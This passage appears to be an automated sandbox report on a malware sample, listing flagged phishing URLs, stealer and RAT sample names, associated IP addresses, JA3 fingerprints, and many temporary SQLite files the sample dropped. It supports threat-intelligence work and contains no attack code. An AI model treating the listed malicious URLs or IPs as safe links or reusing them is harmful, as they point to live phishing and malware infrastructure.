	https://www.bjvpza.cn/	Get hash	malicious	Unknown	Browse
	https://jingxinwl.com/	Get hash	malicious	Unknown	Browse
	https://vpassz.xu4nblog.com/	Get hash	malicious	Unknown	Browse
	https://broken-rain-1a74.1rwvvy66.workers.dev/	Get hash	malicious	HTMLPhisher	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMBAHTONcombahtonGmbHDE	17144582515a071a41524102ee656c1585e8f7859c02c901c3fed665b836e9257178ab02f4700.dat-decoded.exe	Get hash	malicious	PureLog Stealer	Browse	45.146.255.167
	17144582515a071a41524102ee656c1585e8f7859c02c901c3fed665b836e9257178ab02f4700.dat-decoded.exe	Get hash	malicious	PureLog Stealer	Browse	45.146.255.167
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	45.146.255.167
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	45.146.255.167
	F723838674.vbs	Get hash	malicious	Remcos	Browse	45.146.255.167
	F873635427.vbs	Get hash	malicious	Remcos, XWorm	Browse	45.146.255.167
	F873635427.vbs	Get hash	malicious	Remcos, XWorm	Browse	45.146.255.167
	file.0xcd8ef5489960.0xcd8ef514f5d0.DataSectionObject.Payment.xls.xls	Get hash	malicious	Hidden Macro 4.0	Browse	45.147.230.104
	file.0xcd8ef5489960.0xcd8ef514f5d0.DataSectionObject.Payment.xls.xls	Get hash	malicious	Hidden Macro 4.0	Browse	45.147.230.104
	17109195111af4cb1ccd7c6232aba75f15e7c5a4f066e8ea7aba3b436195b45cd435567f84883.dat-decoded.exe	Get hash	malicious	PureLog Stealer	Browse	45.146.255.167

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://securepdffilesaccess%E3%80%82com/docx/#9403ZGF2ZW1AY3BlcXVpdHkuY29t??nEJx==78463=/..=L5QpUY&u=276b8dda4ef94158348d5b6b8&id=6b7205781d#&vg=008d8185-7421-4d39-a8ea-d6571496b99e&stid=14&pti=1&pa=20041&pos=0&p=525094&channelId=21280b5d95ea9121&s=lsfbx0rnvkkgxzgo1sbi4b3z&sgs=2004:15-17+F-150	Get hash	malicious	HTMLPhisher	Browse	23.3.84.131 20.12.23.50
	https://lestore.lenovo.com/detail/L109130	Get hash	malicious	Unknown	Browse	23.3.84.131 20.12.23.50
	SecuriteInfo.com.Trojan.Siggen28.41706.73.21156.exe	Get hash	malicious	Unknown	Browse	23.3.84.131 20.12.23.50
	https://www.bjvpza.cn/	Get hash	malicious	Unknown	Browse	23.3.84.131 20.12.23.50
	https://broken-rain-1a74.1rwvvy66.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	23.3.84.131 20.12.23.50
	https://rdtetsyutfuyfrxytf.azurewebsites.net/	Get hash	malicious	TechSupportScam	Browse	23.3.84.131 20.12.23.50
	https://www.jmwbpns.cn/	Get hash	malicious	Unknown	Browse	23.3.84.131 20.12.23.50
	https://www.uhnrya.cn/	Get hash	malicious	Unknown	Browse	23.3.84.131 20.12.23.50
	https://wywljs.com/	Get hash	malicious	Unknown	Browse	23.3.84.131 20.12.23.50
	https://xdywna.com/	Get hash	malicious	Unknown	Browse	23.3.84.131 20.12.23.50

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHpH8HKx1qHxLU:vq5qxqdqolqztYqh3oPtI6mq7qoT5JcE
MD5:	7ADCF08EB89A57934E566936815936CF
SHA1:	C164331AA17656919323F4464BC1FC1EB1B8CA90
SHA-256:	848A610C0FC09EF83A3DFC86A453C9B6F81DAA2A89779529254577F818E68933
SHA-512:	54EB0F3313760BC4C88C736C5CE57B1890BBCD00376445B3BFC3BB17C6ACBCE22700491D96B6E7E926892555B2AC0C62F0C31557F0E00C00EA38D225228212D3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Temp\tmp2D96.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DA7.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DB9.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DC9.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DCA.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DCB.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DDC.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DDD.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DEE.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DFE.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2DFF.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5FBF.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5FCF.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5FD0.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5FE1.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5FF1.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5FF2.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6003.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6014.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6024.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6035.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.70435191336402
Encrypted:	false
SSDEEP:	24:q83Oua2II99Dm5Xcf7kmp5fFjUTZF/+akoYY9fBpCtJ6Wi5v:7OD2ISi5Xcz9l8RkcFCJ6Wix
MD5:	8C1F71001ABC7FCE68B3F15299553CE7
SHA1:	382285FB69081EB79C936BC4E1BFFC9D4697D881
SHA-256:	DCC1D5A624022EFCE4D4A919041C499622A1213FD62B848C36E6252EE29B5CAE
SHA-512:	8F2124445F7856BFFBB3E7067135CFA70BFB657F8CEAEE89312CF15CFA127CACF28C2F1F9CD1CC64E56A8D8C248E237F2E97F968D244C457AD95D0AD5144E2A7
Malicious:	false
